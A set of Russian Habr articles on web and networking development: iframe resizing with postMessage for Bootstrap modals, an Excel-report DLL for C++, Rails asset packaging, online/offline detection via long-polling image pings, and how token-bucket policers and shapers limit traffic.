GitHub: [lingualeo.export](https://github.com/relaxart/lingualeo.export). | https://habr.com/ru/post/276495/ | null | ru | null |
# Bootstrap Modal Iframe Костыль
«Не надо, я сам»
*Хромой Итальянец*
Постановка задачи
-----------------
Предлагается следующий сценарий: заказчик хочет разместить на сайтах своих партнёров небольшой горизонтальный динамический баннер с некой бизнес логикой, несложная калькуляция, табличка, локализация. Помимо этого, требуется всплывающее окно с крупной картинкой и контентом, которые по высоте больше чем родительский баннер.
Сразу дали понять, что партнёры, хоть и партнёры, но размещать у себя что-либо сложное не будут, то есть про jQuery забыли. Стандартное решение – [iframe с минимальной функцией resize](http://stackoverflow.com/questions/9975810/make-iframe-automatically-adjust-height-according-to-the-contents-without-using?lq=1) на голом JavaScript.
**Картинки***Баннер по умолчанию:*
*Баннер при вызове всплывающего окна:*
В качестве backend [ASP.NET MVC](http://www.asp.net/mvc) всё в [Azure](http://www.windowsazure.com/), картинки в Storage, таблички в SQL. Последнее время [Редмонд](http://www.microsoft.com/) активно рекомендует в качестве frontend шаблон [Bootstrap](http://getbootstrap.com/). Собственно, никто и не против, так как по сравнение с тем, что предлагалось раньше, [Bootstrap](http://getbootstrap.com/) это просто праздник.
Основная проблема реализации – всплывающее окно из iframe перекрывающее по высоте родителя. На своём сайте можно спокойно вызвать [Modal](http://getbootstrap.com/javascript/#modals-usage) через parent iframe’а, но в данном случает домен у iframe другой и браузер будет защищаться. То есть [CORS](http://ru.wikipedia.org/wiki/Cross-origin_resource_sharing). Партнёры весело и дружно правящие конфигурации на своих веб серверах постановкой задачи не предполагаются.
Если нельзя трогать партнёрские сайты, то можно трогать наш iframe.
Решение
-------
Костыль: в фоне под открывшимся Modal окошком увечить высоту iframe так, чтобы Modal помещался целиком или почти целиком.
Реализация
----------
На [HTML5 API window.postMessage](http://javascript.info/tutorial/cross-window-messaging-with-postmessage). Есть несколько [библиотек](https://github.com/davidjbradshaw/iframe-resizer) на jQuery, декларирующих динамический resize ifram’а. Но, во-первых, это предполагает подключение библиотек на стороне партнёрских сайтов, во-вторых в данной задаче надо совсем немного, а в-третьих, при проверки эти библиотеки не справились с учётом Modal окошка.
HTML нашего iframe’a
```
Some iframe
===========
…
[Open modal](#)
…
```
JavaScript iframe’a onLoad
```
//Запуск Modal окошка
$('#openBtn').click(function () {
$('#myModal').modal({ show: true })
});
//При открытии Modal окна отправляется сообщение с высотой Modal окна
$('#myModal').on('shown.bs.modal', function (e) {
/*Звёздочку * здесь надо ставить, так как домен партнёрской страницы нам не известен и передаётся не секретная высота окна*/
parent.postMessage($("#myModalContent").height(), "*");
});
//При закрытии Modal окна отправляется сообщение с высотой без Modal окна
$('#myModal').on('hidden.bs.modal', function (e) {
parent.postMessage($("#mainContent").height() + 1, "*");
});
//Установка начальной высоты iframe (+1 – на поля)
parent.postMessage($("#mainContent").height() + 1, "*");
```
[Полный код для iframe на Bootply](http://bootply.com/112265#)
HTML на стороне партнёров
JavaScript на стороне партнёров вот [тут товарищ сделал компактно](http://davidwalsh.name/window-iframe)
```
var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent";
var eventer = window[eventMethod];
var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message";
eventer(messageEvent, function (e) {
//проверка на соответствие домена
if (e.origin !== "http://www.bootply.com")
retrurn;
//непосредственно resize
document.getElementById('myIframe').style.height = e.data + 'px';
}, false);
```
[Полный код на стороне партнёров на Jsfiddle](http://jsfiddle.net/Vitaliy_Kotov/u2MGv/)
На Jsfiddle подгружается iframe из Bootply, но Bootply заворачивает в ещё один iframe, который надо убрать (см. рисунок).
Неплохо также добавить общий resize:
```
$(window).resize(function () {
//но с проверкой на открытый Modal
if ($('#myModal').hasClass('in') == false)
parent.postMessage($("#mainContent").height() + 1, "*");
});
```
[Полноэкранный результат](http://jsfiddle.net/Vitaliy_Kotov/u2MGv/embedded/result/), но надо снова **убрать bootply iframe.**
Вывод
-----
HTML5 подарил нам вполне рабочий костыль применимый в живом бизнес сценарии, где конечный пользователь сможет детально изучить предлагаемый ему товар, а торговая федерация заказчика с его партнёрами предположительно повысит динамику накопления фин ресурсов. | https://habr.com/ru/post/212347/ | null | ru | null |
# Легкое создание отчетов на C/C++
Если вы разрабатываете на C/C++ какое-либо ПО для операторов (администраторов) больниц, магазинов, сервисов проката гироскутеров, ремонта сотовых телефонов, то наверняка сталкивались с задачей создания отчетов, чтобы печатать их на принтере, ну или хотя бы в PDF. Существует множество сторонних пакетов для Embarcadero RAD Studio, которые позволяют это делать. Такие как FastReport, QuickReport, Crystal Reports и т.д. Но на мой взгляд все эти пакеты требуют глубокого вникания в свой механизм и интерфейс. Много времени уходит на их изучение, и что самое главное, код для генерирования даже самого простого отчета будет состоять из огромного числа строк. Когда я впервые столкнулся с задачей генерирования отчетов под C/C++, то начал с FastReport и понял, что этот инструмент мне абсолютно не нравится.
В этот самый момент в голову пришла замечательная мысль: как круто бы было взять простой EXCEL-файл, добавить в него статическую информацию и отформатировать под свои нужды. В программе останется только открыть этот файл, наполнить его динамическими данными и сохранить или отправить на печать! Это послужило отправной точкой к моему изучению OLE механизма работы с файлами MS Office из программ, разрабатываемых в Embarcadero RAD Studio.
По ходу деятельности удалось достаточно глубоко вникнуть в тему и сейчас могу с уверенностью сказать, что все те инструменты, которые предоставляет MS Office и OLE, перекрывают все мои потребности по созданию отчетов. Ну а раз так, то наверно и для других разработчиков это был бы самодостаточный, простой и удобный инструмент. Поэтому было принято решение написать DLL и упаковать в него перечень всех часто используемых функций MS Excel, с которыми приходится сталкиваться по ходу создания документов Excel. Это очень удобно, ведь для того, чтобы создать отчет, не нужно изучать кучу мануалов или OLE. Всё, что требуется, это только подгрузить DLL и входящие в нее функции. Ну а с DLL работать умеют многие.
[Вот сайт самого проекта](https://lightreport.wixsite.com/index).
На сайте проекта достаточно подробно расписан механизм работы с DLL, есть пример и описание всех функций.
DLL поставляется без заголовочного файла и без статической LIB библиотеки. Таким образом, подключать DLL необходимо динамически с использованием функции LoadLibrary. ZIP архив с библиотекой включает следующие файлы:
* "*light\_report.dll*" — собственно сама DLL библиотека;
* "*DLLTest.cpp*" — пример использования библиотеки;
* "*LPDLL.h*" — заголовочный файл для примера использования библиотеки (это не заголовочный файл DLL);
* "*Report.xlsx*" — документ MS EXCEL для примера использования библиотеки.
Заголовочный файл для примера использования библиотеки "*LPDLL.h*" содержит следующие объявления:
* перечисления, которые используются в качестве аргументов функций DLL;
* типы функций DLL;
* экземпляры функций DLL;
* дескриптор загружаемой библиотеки DLL ("*HINSTANCE DLL\_Handle;*");
* функция *LoadLightReportDLL*, которая динамически загружает DLL и все входящие в нее функции;
* функция *FreeLightReportDLL*, которая выгружает DLL.
Файл *«LPDLL.h»* уже содержит всё необходимое для работы с DLL и ее функциями. Но вы также можете его отредактировать или взять только самое необходимое для вашего проекта.
Представим, что вы просто подключили к вашему проекту заголовочный файл *«LPDLL.h»*.
Тогда в самом проекте вам просто необходимо:
1) Объявить переменную дескриптор вашего отчета:
```
Variant report;
```
2) Динамически загрузить DLL и все ее функции:
```
if(!LoadLightReportDLL("C:\\LightReport\\light_report.dll"))return;
```
3) Далее в конструкции try-catch открыть заранее подготовленный шаблон отчета (файл MS Excel):
```
report=OpenReport("C:\\LightReport\\Report.xlsx",0);
```
4) Добавить в отчет какие-нибудь данные:
```
WriteCell(report, "Sheet1", 9, 1, "Hello world!");
```
…
5) Сохранить файл или напечатать:
```
Save(report);
SaveAs(report, "C:\\LightReport\\Report copy.xlsx");
ExportToPDF(report, "C:\\LightReport\\Report.pdf", false);
PrintOut(report);
```
6) Закрыть файл:
```
CloseReport(report);
```
7) Выгрузить DLL библиотеку:
```
FreeLightReportDLL();
```
И всё! Абсолютно ничего лишнего! Есть лишь один нюанс, но и то, он проявляется только при отладке. В работающем приложении всё будет работать хорошо. Я имею ввиду ситуацию, при которой возникает какая-либо ошибка при работе с отчетом. Дело в том, что OLE механизм работы с документами предполагает только выброс исключений при возникновении ошибок. Вот почему при работе с функциями DLL необходимо применять конструкцию try-catch. В блоке catch необходимо без сохранения закрывать отчет:
```
catch(...){CloseReport(report);}
```
.
При отладке, когда возникает ошибка, вы можете остановить работу программы. При этом процесс MS Excel останется запущенным, и закрыть его можно будет только через диспетчер задач. Поэтому при многократной отладке приложения может быть запущено несколько экземпляров процесса MS Excel в зависимости от того, как часто вы приостанавливали работу программы при возникновении ошибки, не дожидаясь выполнения кода в catch. За этим надо следить.
В релизе же, при возникновении ошибки обязательно сработает код, указанный в блоке catch, отчет закроется и процесс MS Excel будет завершен. Никаких висящих в системе процессов MS Excel наблюдаться не будет. Но все же стараются писать безошибочный код, поэтому надеюсь у вас не возникнет такая ситуация в работающем приложении.
Напоследок необходимо добавить:
1. В DLL применяются платформонезависимые типы данных, такие как, *unsigned short*, *unsigned long* и *char*. Это понятно почему.
2. Пример написан в среде Embarcadero Builder C++ 10. Соответственно, весь код соотносится с этой средой и, возможно, вам необходимо будет внести кое-какие изменения в код примера, чтобы всё заработало в вашем окружении.
3. Узким местом этой DLL является использование дескритора файла отчета в формате *Variant*. Это довольно специфический формат и, подозреваю, что могут возникнуть трудности с использованием библиотеки вне Embarcadero RAD Studio. Честно, не проверял.
Поэтому на будущее планируется упаковать весь функционал в класс и скрыть этот формат *Variant* внутри класса, чтобы наружу пользователю предоставлялись только общепринятые форматы C/C++. Не пробовал ни разу упаковывать классы в DLL, читал, что с этим обязательно возникнут трудности. Тем не менее будем разбираться! А пока, спасибо за внимание, буду очень рад, если эта статья и DLL кому-то помогут.
[Ссылка на проект](https://lightreport.wixsite.com/index). | https://habr.com/ru/post/456102/ | null | ru | null |
# Сжатие JavaScript и CSS на Rails с помощью asset_packager
Часто случается, что делая большой проект в конце концов выходит куча отдельных javascript'овых файлов вроде библиотек, плагинов к ним и прочих. Так же, переодически можно встретить и несколько CSS, которые в основном делаются для удобства восприятия. Так же, по-хорошему, все это дело снабжено рядом комментариев, чтоб потом хоть как-то в этом разобраться.
Благодаря тому, что на Rails development и production версии разделяются, с помощью плагина asset\_packager можно наладить автоматический процесс сжатия всех js и всех css файлов в 2 файла с вырезанием всех комментариев.
Т.е. получится, что в development версии у вас будет нормально поддерживаимые скрипты и стили, а в production все будет объединино для ускорения загрузки (п.с. в основном браузеры не поддерживают параллельную загрузку js и css файлов).
### Как пользоваться
1. Устанавливаем плагин:
script/plugin install [sbecker.net/shared/plugins/asset\_packager](http://sbecker.net/shared/plugins/asset_packager)
или
script/plugin install git://github.com/sbecker/asset\_packager.git
2. Запускаем «rake asset:packager:create\_yml» чтобы сгенерировать конфиг /config/asset\_packages.yml в первый раз. В нем описываем какие файлы и в каком порядке объединять (синтаксис — простейший yaml конфиг)
3. Запускаем «rake asset:packager:build\_all» чтоб сгененировать сжатые файлы. Каждый раз, когда вы переписываете конфиг, вам надо запускать задачу опять.
### Как работает
Ставите например вызов яваскрпта в вашем layout:
<%= javascript\_include\_merged 'prototype', 'effects', 'controls', 'dragdrop', 'application', 'foo', 'bar' %>
В девелопмент версии вы получите:
А в продакшене:
Точно так же и со стилями:
Вызов <%= stylesheet\_link\_merged 'screen', 'header' %> сделает в девелопменте:
`/>
/>`
А в продакшене:
`/>`
Удачи в использовании! | https://habr.com/ru/post/28884/ | null | ru | null |
# Настоящие online, offline события
С появлением online, offline событий многие разработчики, особенно мобильных веб-севисов возложили на них большие надежды. Казалось бы online, offline говорят нам когда у пользователя есть доступ к интернету, но на самом деле это далеко не так. Подробности их поведения когда-то давно описал Резиг в своем [блоге](http://ejohn.org/blog/offline-events/).
Кратко — online, offline сигнализирует нам, что пользователь вручную переключился в оффлайн либо у него нет ни одного соединения с сетью. Фактически эти 2 события бесполезны в том виде в котором они представлены — я не знаю кто будет вручную переключать таб в режим онлайн/оффлайн, и с сетевыми подключениями тоже все плохо. Ну и, конечно, доисторические бразуеры не знают эти события.
Под катом элегантное и 100% кросбраузерное решение, позволяющее получить настоящие online, offline события.
Нам нужно получить события, проверяющие без лишних затрат наличие интерента у пользователя, точнее соединение до нашего веб-сервиса.
Алгоритм (я назвал его LIP — Long Ping Image):
1. Создаем картинку через new Image
2. Вешаем на неё onload onerror
3. Прописываем путь до long polling ресурса нашего ping сервера
4. Браузер устанавливает висящее соединение с сервером, если соединение было по каким-либо причинам сброшено — упал инет, http 50x, то сработает событие onerror. Тут мы создаем ещё одну картинку, на сей раз «быструю», чтобы удостовериться на 100% в том, что сервис оффлайн. Если у этой картинки сработал onerror значит сервис точно оффлайн. Через определенный интервал пытаемся поднять картиночное ping соединение.
Решение абсолютно кроссбраузерно и кроссдоменно. Реагирование на offline 2-4 секунды, реагирование на online 0-15 секунд.
**Проблемы которые были замечены:**
1. Опера как новогодняя елка всем чем можно предательски сигнализирует пользователю, что «Загрузка...» во время длинного картиночного соединения — это починить нереально (пробовал iframe, css url, sse) и вечная «Загрузка...» напрягает. Для Оперы длинное соединение не устанавливается, а просто через определенный интервал опрашивается «быстрая» картинка — не так оперативно, немного затратно, но ничего не поделать.
2. Пользователи ФФ могут убить длинное соединение, нажав Esc при загрузке страницы — было пофиксено preventDefault'ом.
3. При физическом отключении интернета (выдернул шнур) все браузеры не сбрасывают висящее соединение, поэтому оффлайн не приходит.
**Достоинства:**
1. Покрытие всех браузеров, даже самых древних
2. Быстрое реагирование на offline/online
3. Можно подкрутить nginx для выполнения функции ping-сервера и получить мизерные издержки на стороне сервера.
**Недостатки:**
1. Небольшая утечка траффика около 1Кб в минуту (с возможностью сократить издержки до 1кб за сеанс)
2. Необходимость поднятия Пинг сервера
3. Большое количество висящих соединений
4. Если пинг сервер находится на том же домене, что и основной сервер, то мы занимаем 1 из 4 возможных http соединений.
#### Код
Это все можно пролистать, архив с исходниками и пример ниже.
**ping.php — наш ping-сервер**
```
php
isset($_GET['long']) && sleep(55);
header("Content-type: image/gif");
header("Expires: Wed, 11 Nov 1998 11:11:11 GMT");
header("Cache-Control: no-cache");
header("Cache-Control: must-revalidate");
// 1x1 gif
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c" .
"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",
71,73,70,56,57,97,1,0,1,0,128,255,0,192,192,192,0,0,0,33,
249,4,1,0,0,0,0,44,0,0,0,0,1,0,1,0,0,2,2,68,1,0,59);
?
```
Есть ещё вариант через nginx HttpEmptyGifModule
```
location = /_.gif {
empty_gif;
}
```
Как реализовать длинный запрос на nginx я без понятия, поэтому приложил вариант на ПХП.
**Ping.js**
```
/**
* @fileOveriew Long Polling Image Ping
*/
(function (window, Image) {
/**
* Long Polling Image Ping
*
* Way to detect user's inernet connection
*/
var Lpip = {
BASE_URL: 'ping.php',
/**
* Long polling request URL. Can be crossdomain
*/
LONG_POLLING_IMAGE_URL: '?long',
/**
* Common image request. Can be crossdomain
*/
IMAGE_URL: '',
RECONNECT_TIMEOUT: 15000,
_image: null,
_stage: 2,
_makeImage: function (url) {
var image = new Image();
image.onload = Lpip.onImageLoad;
image.onerror = Lpip.onImageError;
image.src = url + (url.match(/\?/) ? '&' : '?') + Math.random();
return Lpip._image = image;
},
/**
* @type Boolean
*/
online: false,
/**
* @type Boolean
*/
offline: false,
/**
* Long polling image request
*/
watch: function () {
// Opera fix
if (window.opera) {
window.setTimeout(function () {
Lpip._makeImage(Lpip.BASE_URL + Lpip.IMAGE_URL);
}, Lpip.RECONNECT_TIMEOUT);
return;
}
// For other browsers
Lpip._makeImage(Lpip.BASE_URL + Lpip.LONG_POLLING_IMAGE_URL);
},
/**
* Quick image request
*/
quick: function () {
Lpip._makeImage(Lpip.BASE_URL + Lpip.IMAGE_URL);
},
onImageLoad: function () {
if (!this.width) {
// Error
Lpip.onImageError.call(this);
} else {
// Image ok
if (Lpip._stage > 1) {
// Internet connection up!
Lpip.onConnectionUp();
Lpip.offline = !(Lpip.online = true);
}
// Reset errors
Lpip._stage = 0;
// Continue requesting
Lpip.watch();
}
},
onImageError: function () {
Lpip._stage += 1;
if (Lpip._stage > 1) {
if (Lpip._stage === 2) {
// User's internet connection down...
Lpip.onConnectionDown();
Lpip.offline = !(Lpip.online = false);
}
// Try reconnect
window.setTimeout(Lpip.quick, Lpip.RECONNECT_TIMEOUT);
} else {
// Maybe long polling request aborts for some resons
// Try to get "quick image"
Lpip.quick();
}
},
onConnectionUp: function () {
window.console && window.console.log('onConnectionUp');
},
onConnectionDown: function () {
window.console && window.console.log('onConnectionDown');
}
};
// Exporting Lpip
window.Ping = {
/**
* Inits Ping
*
* @param {Object} [options]
* @param {Number} [options.reconnectTimeout=15000]
* @param {String} [options.baseUrl='ping.php']
*/
init: function (options) {
Lpip.RECONNECT_TIMEOUT = options.reconnectTimeout || Lpip.RECONNECT_TIMEOUT;
Lpip.BASE_URL = options.baseUrl || Lpip.BASE_URL;
// User can cancel long polling request by pressing Esc button in Firefox or Opera
if (window.addEventListener) {
window.document.addEventListener('keypress', function (event) {
if (event.keyCode === 27) {
event.preventDefault();
}
}, false);
}
Lpip.quick();
},
/**
* Connection up event helper
*
* Supports only one listener
*
* @param {Function} callback
*/
connectionUp: function (callback) {
Lpip.onConnectionUp = callback;
},
/**
* Connection up event helper
*
* Supports only one listener
*
* @param {Function} callback
*/
connectionDown: function (callback) {
Lpip.onConnectionDown = callback;
},
/**
* @returns {Boolean}
*/
isOnline: function () {
return Lpip.online;
},
/**
* @returns {Boolean}
*/
isOffline: function () {
return Lpip.offline;
}
};
}(this, this.Image));
```
**Пример использования**
```
Connection Status
(function (window, Ping, log) {
log.innerHTML += 'Lpip is watching...<br/>';
Ping.connectionUp(function () {
log.innerHTML += 'Connection Up<br/>';
});
Ping.connectionDown(function () {
log.innerHTML += 'Connection Down<br/>';
});
// call on window.onload to prevent "loading... status"
window.onload = function () {
Ping.init({
'baseUrl': '/lpip/ping.php',
'reconnectTimeout': 15000
});
};
window.checkConnectionStatus = function () {
window.alert(Ping.isOnline() ? 'Online' : 'Offline');
}
}(this, this.Ping, this.document.getElementById('log')));
```
Живой пример: [azproduction.ru/lpip](http://azproduction.ru/lpip/) (Прошу долго не проверять)
Исходник: [narod.ru/disk/6061703001/Ping.rar.html](http://narod.ru/disk/6061703001/Ping.rar.html)
Критика, предложения приветствуются. Буду рад если кто-нибудь напишет вариант ping-сервера под nginx. | https://habr.com/ru/post/114198/ | null | ru | null |
# Базовые принципы полисеров и шейперов
Одними из инструментов обеспечения качества обслуживания в сетях передачи данных являются механизмы полисинга и шейпинга и, может быть, это самые часто используемые инструменты. Ваш Интернет провайдер, наверняка, ограничил вам скорость именно этим.
Тема качества обслуживания не самая простая для понимания, а если вы когда-нибудь интересовались именно полисерами и шейперами, то скорее всего встречали однотипные графики, отображающие зависимость скорости от времени, слышали термины «корзина», «токены» и «burst», может быть даже видели формулы для расчёта каких-то параметров. Хороший и типичный пример есть в СДСМ — [глава про QoS и ограничение скорости](https://linkmeup.gitbook.io/sdsm/15.-qos/7.-ogranichenie-skorosti).
В этой статье попробуем зайти чуть с другой стороны, опираясь на [учебник Cisco](https://www.oreilly.com/library/view/cisco-qos-exam/1587201240/), [RFC 2697](https://tools.ietf.org/html/rfc2697) и [RFC 2698](https://tools.ietf.org/html/rfc2698) — самые базовые понятия.
Первое в чём надо разобраться и на чём строится весь механизм управления скоростью — это понятие самой скорости. **Скорость — величина производная, вычисляемая**, нигде и ни в каком месте мы не видим её напрямую. Устройства оперируют только данными и их количеством. Про скорость мы говорим в контексте наблюдения и мониторинга, зная объём переданных данных за 5 минут или за 5 секунд и получая разные значения **средней** скорости.
Второе, **количество данных пропускаемое интерфейсом за отрезок времени — константа**, абсолют. Его нельзя ни уменьшить ни увеличить. Через 100Мбит/c интерфейс 90Мбит будут пропущены всегда за 0,9 секунды, а оставшуюся 0,1 секунду интерфейс будет простаивать. Но с учётом того что скорость вычисляемое значение, получим что данные были переданы со средней скоростью 90Мбит/c. Это мало похоже на дорожный трафик, у нас всегда либо 100% загруженность, либо полный простой. В контексте сетевого трафика, загруженность интерфейса — это сколько свободных промежутков времени у него остаётся из общего измеряемого интервала. Дальше продолжим употреблять размерность Мбит и секунды, для лучшего понимания, хотя это и не имеет никакого значения.
Отсюда вытекает основная задача и способ ограничения пропуска трафика — **передать не больше заданного количества данных за единицу времени**. Если у нас есть 100Мбит, а мы хотим ограничить скорость 50Мбит/c, то за эту секунду нам надо передать не больше 50Мбит, а оставшиеся данные передать в следующую секунду. При этом у нас есть только один способ это сделать — включить интерфейс, который всегда работает с постоянной скоростью, или выключить его. Выбор только в том, как часто мы будем включать и выключать.
### Burst
Посмотрим на график скорости из учебника 5 класса по физике. Здесь показана зависимость объёма переданных данных по оси Y, от времени по оси X. Чем круче наклон прямой, тем больше скорость. Передать 50Мбит за секунду можно разными способами:
[](https://habrastorage.org/webt/yx/a8/xp/yxa8xpc8ozklsffziebray46zlm.png)
1. Передать всё сразу за 0,5 секунды, а потом ждать следующей (*зелёная сплошная*)
2. Передавать чаще, делая меньшие паузы, но увеличив их количество
Это приводит нас к понятию **burst** — максимальный непрерывно передаваемый объём данных, как правило он измеряется в байтах, а не в битах как у нас для простоты. Burst неразрывно связан со временем, чем он больше, тем длиннее пауза между передачей данных: `Burst = Time Interval * CIR`, где **CIR, Committed Information Rate** — ограничение по скорости которое мы вводим (*красные точки*) и эта величина, обычно, измеряется в битах в секунду.
Если burst=50, CIR=50Мбит/c, то время равно 1 секунде: `Time Interval = Burst / CIR = 50/50`. Значит каждую секунду, мы можем передать не больше 50Мбит. Так как скорость интерфейса у нас 100Мбит/c, то 50Мбит будут переданы за 0,5 секунды, оставшееся время будет простой. Начиная со следующей секунды у нас опять будет возможность передать 50Мбит.
В случае burst=25, получим 25/50 или 0,5 секунды между передачей каждых 25Мбит. С учётом скорости интерфейса на передачу 25Мбит будет затрачено 25/100=0,25 секунды и следующие 0,25 секунды интерфейс будет простаивать. В каждом случае мы `1/2 = CIR / Interface rate` времени тратим на передачу и 1/2 на простой. Если увеличить CIR до 75Мбит/c, то соответственно 75/100=3/4 периода займёт передача и 1/4 пауза.
Обратите внимание что наклон прямых, показывающих объём переданных данных, всегда одинаков. Потому что скорость интерфейса константа (*синие точки*) и мы физически не можем передавать с другой скоростью.
В большинстве случаев при конфигурации оборудования используются именно burst, хотя могут использоваться и временные интервалы. На графике хорошо видны отличия, меньший burst даёт более строгое следование заданному ограничению — график не убегает далеко от СIR, даже на меньшем измеряемом промежутке и при этом обеспечивает короткие паузы между моментами передачи. А больший burst не ограничивает трафик на коротких отрезках. Если измерять скорость только за первые 0,5 секунды, то получилось бы 50/0,5 = 100Мбит/c. А долгая пауза после такой передачи может негативно сказаться на механизмах управления трафиком за границами нашего устройства, или привести к потере логического соединения.
Если быть ближе к реальности, сетевой трафик, как правило, не передаётся непрерывно, а имеет разную интенсивность в разные моменты времени (*зелёный пунктир*):
[](https://habrastorage.org/webt/xi/pc/wr/xipcwr7dydc6iiq1n17czt0wus0.png)
На этом графике видно, что за 1 секунду мы хотим передать 55Мбит при ограничении 50Мбит. То есть, реальный трафик практически не выходит за границы которые мы установили к концу измеряемого интервала. При этом механизмы ограничения приводят к тому, что передаётся меньший объём данных чем мы ожидаем. И здесь больший burst выглядит лучше, так как захватываются интервалы где трафик действительно передаётся, а меньший burst и желание строго ограничивать трафик на всём участке, выливается в большие потери.
### Шейпер
Будем ещё ближе к реальности, в которой всегда имеется буфер для передачи данных. С учётом того что интерфейс у нас или занят на 100% или простаивает, а данные могут поступать одновременно из нескольких источников быстрее чем интерфейс может их передавать, то даже простейший буфер формирует очередь, позволяя данным дождаться момента передачи. Он также позволяет компенсировать те потери которые у нас могут возникнуть из-за введённых ограничений:
[](https://habrastorage.org/webt/8i/3u/mw/8i3umwslucsu7-qyxebrzvy6kj0.png)
**Policer** это график Burst 5 с предыдущего изображения. **Shaper** тот же график Burst 5, но с учётом буфера, в котором задерживаются не успевшие передаться данные и которые могут быть переданы чуть позже.
В результате, мы полностью обеспечили наши требования по ограничению трафика «сгладив» пики источника и не потеряв данные. Трафик по-прежнему имеет пульсирующую форму: чередующиеся периоды передачи и паузы — потому что мы не можем повлиять на скорость интерфейса и управляем только объёмом передаваемых за раз данных. Это тот самый график сравнения шейпера и полисера из [СДСМ QoS](https://habr.com/ru/post/420525/), но с другой стороны:
[](https://habrastorage.org/webt/za/y6/kh/zay6khb7cgviroz-zbumfppdtz8.png)
Какой ценой мы этого достигли? Ценой буфера, который не может быть бесконечным и который вносит задержку в передаче данных. Пик на графике буфера приходится на 15Мбит, это те данные которые теряются полисером, но задерживаются шейпером. При заданном ограничении 50Мбит/c — это 15/50=300 миллисекунд, что для многих сетевых приложений уже за гранью дозволенного.
А теперь посмотрим когда эта цена играет роль, достаточно лишь чуть большей интенсивности трафика — 60Мбит/c, при ограничении 50Мбит/c:
[](https://habrastorage.org/webt/fj/os/xy/fjosxymuasaaevk0vk_0wif6bma.png)
Количество переданных данных шейпером и полисером совпали. Полисер, конечно, теряет данные, а шейпер копит в буфере, занятое место в котором непрерывно растёт, то есть растёт задержка. Когда место в буфере кончится, данные шейпером также начнут теряться, но с поправкой на размер буфера, с задержкой.
Поэтому, выбирая шейпер или полисер стоит отталкиваться от того, насколько критична дополнительная задержка, которая выше, чем больше скорость и чем интенсивнее трафик. Или стоит пожертвовать данными и потерять часть из них, учитывая что на следующем логическом уровне почти наверняка сработают механизмы восстанавливающие целостность передачи и реагирующие на заторы и потери.
### Корзина
Для учёта объёма трафика переданного через интерфейс используется понятие и термин **корзина**. Фактически, это счётчик от максимального значения burst до 0, который уменьшается с передачей каждого кванта данных — **токена**. Соответственно, есть два процесса — один наполняет корзину, второй из неё забирает.
Корзина наполняется до величины burst каждый заданный интервал, при известном CIR. Для burst 5 и CIR 50, каждые 0,1 секунду, как было рассчитано чуть ранее. Но объём трафика за интервал времени может быть меньше чем заданный нами burst, так как условие ограничения — «не больше». Значит этот счётчик может не доходить до 0 и в корзине остаются токены. Тогда в следующий интервал, при заполнении корзины, неиспользуемый объём данных (токенов) будет потерян.
Такая ситуация видна на графике Policer выше, каждые 0,05 секунд мы в состоянии передать 5Мбит на скорости интерфейса, но количества данных которые у нас есть всего 3Мбит, так как скорость поступления данных всего 60Мбит/c. Именно поэтому график почти сливается с CIR, что не совсем корректно. Передача в любом случае осуществляется на скорости интерфейса и 3Мбит будут переданы за 0,03 секунды, а оставшиеся 0,02 будет пауза. Это давало бы нам характерную лесенку, которую мы видим на графике Shaper. Здесь, как раз, пример средней скорости и сглаживания точности измерения, что обычно показывают системы мониторинга оперирующие даже не секундами, а минутами.
Улучшим подход, зная что трафик спонтанен и больший burst может помочь не потерять данные. Введём ещё одну корзину, куда будем складывать неиспользованные на предыдущем интервале токены. Таким образом, в случае отсутствия трафика от источника, будет частично компенсироваться этот простой, как если бы у нас был больший burst. Для каждой корзины задаётся собственный burst, для основной — **Committed Burst**, CBS, Bc. А для второй — **Excess Burst**, EBS, Be. Таким образом максимальный объём данных который может быть непрерывно передан равен CBS+EBS.
[](https://habrastorage.org/webt/ix/nq/ce/ixnqceivqjhkhixetswtp0xl7gc.png)
**Shaper Exs** (*жёлтый*) — график с учётом двух корзин, каждая объёмом burst в 5Мбит. Shaper — график с предыдущего изображения. Теперь максимальный burst=EBS+CBS=10 и первые 0,1 секунду мы используем его. Основную корзину мы пополняем каждые 5/50=0,1 секунду. Соответственно, в момент времени 0,1 опять есть возможность передавать данные и период непрерывной передачи длится 0,15 секунды. В результате длительного простоя, когда трафика с источника не было и все данные из буфера мы передали, в момент времени 0,6 секунд, добавляем неиспользуемый объём данных во вторую корзину. Таким образом, получаем возможность снова вести непрерывный пропуск трафика в течение 0,15 секунд, что позволяет вовсе не использовать буфер. В итоге, получили удачный компромисс точности нарезки полосы, в случае интенсивного трафика, и лояльности в отношении всплесков при использовании большего burst.
Сделаем ещё одно улучшение касающееся времени. Избавимся от периодического процесса пополнения корзины и заменив его на пополнение только в те моменты, в которые к нам поступают данные. В большинстве случаев, меньше чем одним, целым пакетом за раз никто не оперирует. Поэтому можно посчитать период между приходами последовательных пакетов и пополнять корзину тем объёмом данных, которые соответствуют данному периоду. Это, во первых, исключит необходимость держать отдельный таймер для временных интервалов связанных с burst периодами, а во вторых, сократит периоды между возможными пропусками трафика.
Следовательно burst, как максимальный объём непрерывно передаваемых данных, отделился от понятия количество пополняемых за раз данных, хотя формула осталась та же: `пополняемый объём в токенах = интервал между последовательными пакетами * CIR`. Но пополнить корзину больше чем её максимальный объём burst мы не можем, это то условие с помощью которого и достигается ограничение. Размер пакета задаёт наименьший из возможных burst — размер наименьшего пакета в данной сетевой технологии. Если burst будет меньше, то целый пакет невозможно будет отправить за отведённый интервал, при заданной скорости интерфейса.
### Полисер: 1 скорость, 2 корзины, 3 цвета
До этого речь шла, в основном, о шейперах, хотя понятия и термины аналогичны тем что применимы и для полисеров. Полисер, однако, как это определено в [RFC 2697](https://tools.ietf.org/html/rfc2697) это не механизм ограничения трафика, это механизм его классификации. Каждый проходящий пакет, в соответствии с заданным CIR, CBS и EBS относится к одной из категорий (цвету): **conform (green)**, **exceed (yellow)**, **violate (red)**. На устройствах можно сразу настроить в каком случае трафик стоит блокировать, но в общем случае, это именно назначение метки или покраска.
Для каждого пакета происходит проверка по следующему алгоритму:
1. Если размер пакета меньше чем токенов в первой корзине, то этот пакет помечается как green, а из первой корзины вычитается количество токенов соответствующих размеру пакета, иначе
2. Если размер пакета меньше чем токенов во второй Excess корзине, то этот пакет помечается как yellow, а из второй корзины вычитается количество токенов соответствующих размеру пакета, иначе
3. Пакет помечается как red и ничего и ниоткуда не вычитается.
В случае использования одной корзины, второй пункт исключаем.
